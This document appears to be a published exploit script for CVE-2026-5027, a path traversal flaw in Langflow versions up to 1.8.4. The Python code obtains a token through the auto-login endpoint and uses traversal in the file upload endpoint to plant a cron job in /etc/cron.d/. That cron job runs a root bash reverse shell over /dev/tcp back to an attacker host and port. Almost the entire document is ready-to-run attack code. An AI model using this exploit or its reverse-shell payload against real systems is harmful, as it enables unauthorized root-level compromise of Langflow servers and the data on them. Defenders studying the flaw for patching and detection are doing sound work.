# Exploit Title: Langflow 1.8.4 - Path Traversal to Remote Code Execution
# Google Dork: N/A
# Date: 2026-07-20
# Exploit Author: cardosource
# Vendor Homepage: https://www.langflow.org/
# Software Link: https://github.com/langflow-ai/langflow
# Version: <= 1.8.4
# Tested on: Docker - Ubuntu 22.04 + Langflow 1.8.4
# CVE: CVE-2026-5027
"""
Langflow <= 1.8.4 - CVE-2026-5027
Path Traversal leading to Remote Code Execution (RCE)
The vulnerability allows an authenticated attacker to abuse a path traversal
in the file upload endpoint to write arbitrary files outside the intended
directory. By writing a cron job under /etc/cron.d/, arbitrary commands can
be executed with root privileges, resulting in Remote Code Execution.
The exploit:
1. Obtains an access token via the auto-login endpoint.
2. Abuses path traversal in the file upload endpoint.
3. Writes a malicious cron job to /etc/cron.d/.
4. Waits for cron to execute the reverse shell payload.
"""
import warnings
import requests
import sys
import time
import re
from typing import Optional, Tuple, Dict, Any
from pathlib import PurePosixPath
def create_config(
target: str = "http://localhost:9013",
lhost: str = "192.168.1.100",
lport: int = 4444
) -> Dict[str, Any]:
return {
"target": target.rstrip('/'),
"lhost": lhost,
"lport": lport,
"traversal_depth": 9,
"endpoint": "/api/v2/files",
"auth_endpoint": "/api/v1/auto_login"
}
def create_session() -> requests.Session:
session = requests.Session()
session.verify = False
return session
def authenticate(config: Dict[str, Any], session: requests.Session) -> Optional[str]:
try:
response = session.get(
f"{config['target']}{config['auth_endpoint']}",
timeout=10
)
if response.status_code == 200:
return response.json().get("access_token")
except (requests.RequestException, KeyError, ValueError):
pass
return None
def sanitize_hostname(host: str) -> str:
return re.sub(r"[^A-Za-z0-9_-]", "_", host)
def generate_timestamp() -> str:
return time.strftime("%Y%m%d%H%M%S")
def build_cron_path(lhost: str, lport: int) -> str:
timestamp = generate_timestamp()
safe_host = sanitize_hostname(lhost)
return f"/etc/cron.d/langflow_{safe_host}_{lport}_{timestamp}_."
def build_traversal_path(remote_path: str, depth: int = 9) -> str:
path = PurePosixPath(remote_path)
return "../" * depth + str(path).lstrip("/")
def build_cron_content(lhost: str, lport: int) -> str:
return f"""SHELL=/bin/bash
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
* * * * * root /bin/bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'
"""
def upload_file(
config: Dict[str, Any],
session: requests.Session,
token: str,
remote_path: str,
content: bytes
) -> Tuple[bool, Optional[Dict[str, Any]]]:
filename = build_traversal_path(remote_path, config['traversal_depth'])
headers = {"Authorization": f"Bearer {token}"}
files = {'file': (filename, content, 'application/octet-stream')}
try:
response = session.post(
f"{config['target']}{config['endpoint']}",
headers=headers,
files=files,
timeout=15
)
if response.status_code in (200, 201):
return True, response.json()
except requests.RequestException:
pass
return False, None
def deploy_reverse_shell(
config: Dict[str, Any],
session: requests.Session,
token: str
) -> Tuple[bool, str]:
cron_path = build_cron_path(config['lhost'], config['lport'])
cron_content = build_cron_content(config['lhost'], config['lport'])
success, response_data = upload_file(
config, session, token, cron_path, cron_content.encode()
)
if success:
return True, cron_path
return False, cron_path
def print_success(lhost: str, lport: int, cron_path: str) -> None:
print(f"[+] Cron job deployed to {cron_path}")
print(f"[+] Reverse shell incoming on {lhost}:{lport}")
def print_failure(message: str = "Exploit failed") -> None:
print(f"[-] {message}")
def print_token(token: str) -> None:
print(f"[+] Token obtained: {token[:40]}...")
def print_config(config: Dict[str, Any]) -> None:
print(f"[*] Target: {config['target']}")
print(f"[*] Listener: {config['lhost']}:{config['lport']}")
def validate_config(config: Dict[str, Any]) -> bool:
if not config['target'].startswith(("http://", "https://")):
print_failure("Target must start with http:// or https://")
return False
if config['lport'] < 1 or config['lport'] > 65535:
print_failure("Port must be between 1 and 65535")
return False
if config['traversal_depth'] < 1:
print_failure("Traversal depth must be at least 1")
return False
return True
def authenticate_pipeline(config: Dict[str, Any]) -> Tuple[bool, Optional[str], requests.Session]:
session = create_session()
print("[*] Authenticating...")
token = authenticate(config, session)
if not token:
session.close()
return False, None, session
print_token(token)
return True, token, session
def deploy_pipeline(config: Dict[str, Any], session: requests.Session, token: str) -> bool:
print("[*] Deploying reverse shell...")
success, cron_path = deploy_reverse_shell(config, session, token)
if success:
print_success(config['lhost'], config['lport'], cron_path)
return True
print_failure()
return False
def exploit(
target: str = "http://localhost:9013",
lhost: str = "192.168.1.38",
lport: int = 4444
) -> None:
config = create_config(target, lhost, lport)
print_config(config)
if not validate_config(config):
sys.exit(1)
success, token, session = authenticate_pipeline(config)
if not success:
sys.exit(1)
try:
if not deploy_pipeline(config, session, token):
sys.exit(1)
finally:
session.close()
print("[+] Exploit completed successfully")
if __name__ == "__main__":
exploit()
